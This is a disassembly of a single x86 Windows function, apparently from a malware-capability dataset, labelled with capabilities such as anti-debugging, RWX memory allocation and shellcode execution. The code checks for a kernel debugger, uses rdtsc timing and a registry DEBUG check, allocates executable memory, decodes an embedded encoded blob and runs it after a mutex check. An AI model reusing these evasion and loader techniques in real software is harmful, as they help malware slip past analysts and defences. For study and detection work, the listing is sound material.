Function at 0x4014e0
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Execute anti-debugging instructions
Execute shellcode via indirect call
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x418191
mov eax, dword fs:[0]
push eax
sub esp, 0x27c
mov eax, dword [0x421008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
push str.NtQuerySystemInformation
push str.ntdll
mov eax, dword [eax]
mov dword [ebp - 0x278], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [ebp - 0x21c], 0
mov word [ebp - 0x218], cx
lea ecx, [ebp - 0x21c]
push ecx
push 2
lea ecx, [ebp - 0x218]
push ecx
push 0x23
call eax
mov ax, word [ebp - 0x218]
movzx ecx, ah
push ecx
movzx eax, al
push eax
push str.NtQuerySystemInformation_SystemKernelDebuggerInformation___0x_X_0x_X_n
call fcn.00401060
add esp, 0xc
cmp byte [ebp - 0x218], 0
jne 0x401a80
rdtsc
push 0x1d8
push str.Lztc09PTs1o24gG3WIHjWIHfWIHHWKH73GSZ9eIs4hN_77Kv0f_zEhze0hSapjyBhFiBw1iR79IDWJOrVhOnn9IDWJvLWIvz0gCDVhqn75pY51jSBeIs4hMSHN5_0hTrM6Yn0K4r6K73pjOLWIv30gC1WNYWIvP0gBY11jSA1qX9_eIiLKKiYIsM4uMiVjBOlMsLCyOuDh09O7pKDhjIe7n6T11Fo7LANrQ9LT0_oXh4O7lO40ywGudm7E3vZV7vR08KPWjWDg4ODk4OTg7s53AwzLAZEucOFhLtKdqeyLAZWE6fZLJ3bpj87tNPT07nTudeFhLvRChuMLAZQK9Ot5VjluZO708PT04W507uLd4A2LAZAgLnThYCEu9EKG4wsBlAr0677i7vTk9PTudODu9j83OMsBoS7pr2esiwGjY0s3_fcVqMsLCw6SCwsLNIQhWmEhBoI2ZxhbnTgCwG
lea ecx, [ebp - 0x24c]
mov dword [ebp - 0x23c], 0
mov esi, eax
mov dword [ebp - 0x238], 0xf
mov edi, edx
mov byte [ebp - 0x24c], 0
call fcn.00401ce0
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_FlsAlloc]
cmp eax, 0xffffffff
jne 0x401617
push str.FLS_OUT_OF_INDEXES_n
call fcn.00401060
add esp, 4
mov edx, dword [ebp - 0x238]
cmp edx, 0x10
jb 0x401a80
mov ecx, dword [ebp - 0x24c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401a76
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a9e
jmp 0x401a76
push 0
push 0x40
push 0x3000
push 0x3e8
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test eax, eax
jne 0x401682
push str.VirtualAllocExNuma_NULL_n
call fcn.00401060
mov edx, dword [ebp - 0x238]
add esp, 4
cmp edx, 0x10
jb 0x401a80
mov ecx, dword [ebp - 0x24c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401a76
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401aa3
jmp 0x401a76
rdtsc
sub eax, esi
sbb edx, edi
add eax, 0xffffd8f0
adc edx, 0xffffffff
test edx, edx
ja 0x4015da
jb 0x4016a5
cmp eax, 0x15f90
ja 0x4015da
push 0
lea eax, [ebp - 0x274]
mov dword [ebp - 0x250], 0x200
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetControl
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x401729
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x254]
push eax
push 0
push str.SystemStartOptions
push dword [ebp - 0x274]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x401721
cmp dword [ebp - 0x254], 1
jne 0x401737
lea eax, [ebp - 0x214]
push eax
push str.SystemStartOptions:__s_n
call fcn.00401030
jmp 0x401734
push eax
push str.RegQueryValueEx_Error:__d_n
jmp 0x40172f
push eax
push str.RegCreateKeyEx_Error:__d_n
call fcn.00401060
add esp, 8
xor eax, eax
mov dword [ebp - 0x224], 0
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x220], 7
mov word [ebp - 0x234], ax
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401760
sub ecx, edx
lea eax, [ebp - 0x214]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x234]
call fcn.00401b90
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x234]
cmp dword [ebp - 0x220], 8
mov esi, dword [ebp - 0x234]
mov eax, dword [ebp - 0x224]
cmovae ecx, esi
mov dword [ebp - 0x218], ecx
cmp eax, 5
jb 0x4017da
add eax, 0xfffffffc
lea eax, [ecx + eax*2]
mov dword [ebp - 0x21c], eax
nop dword [eax]
sub eax, ecx
sar eax, 1
je 0x4017d4
cmp word [ecx], 0x44
je 0x401803
add ecx, 2
sub eax, 1
jne 0x4017c6
mov esi, dword [ebp - 0x234]
push str.CppTest
push 1
push 0
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x401aa8
jmp 0x401a17
test ecx, ecx
je 0x4017d4
mov edx, str.DEBUG
mov edi, ecx
mov esi, 5
sub edi, edx
mov ax, word [edi + edx]
cmp ax, word [edx]
jne 0x40187c
add edx, 2
sub esi, 1
jne 0x401815
sub ecx, dword [ebp - 0x218]
sar ecx, 1
cmp ecx, 0xffffffff
je 0x4017d4
push str.DEBUG_n
call fcn.00401060
mov eax, dword [ebp - 0x220]
add esp, 4
cmp eax, 8
jb 0x4015da
mov edx, dword [ebp - 0x234]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40188a
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401ad6
jmp 0x40188a
mov eax, dword [ebp - 0x21c]
add ecx, 2
jmp 0x4017c0
push ecx
push edx
call fcn.00402518
add esp, 8
jmp 0x4015da
push str.system_n
call fcn.00401060
push dword [ebp - 0x278]
call fcn.004093bf
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x220]
cmp eax, 8
jb 0x4015da
lea ecx, [eax*2 + 2]
mov eax, esi
cmp ecx, 0x1000
jb 0x401a67
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a9e
push ecx
push esi
call fcn.00402518
add esp, 8
jmp 0x4015da
push edx
push ecx
call fcn.00402518
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00402042
mov esp, ebp
pop ebp
ret
call fcn.00409690
call fcn.00409690
push str.CreateMutex_ERROR_ALREADY_EXISTS_n
call fcn.00401060
add esp, 4
lea ecx, [ebp - 0x288]
push str.Mutex_already_exists_
call fcn.00401150
push 0x41f93c
lea eax, [ebp - 0x288]
push eax
call fcn.004032a1
call fcn.00409690
int3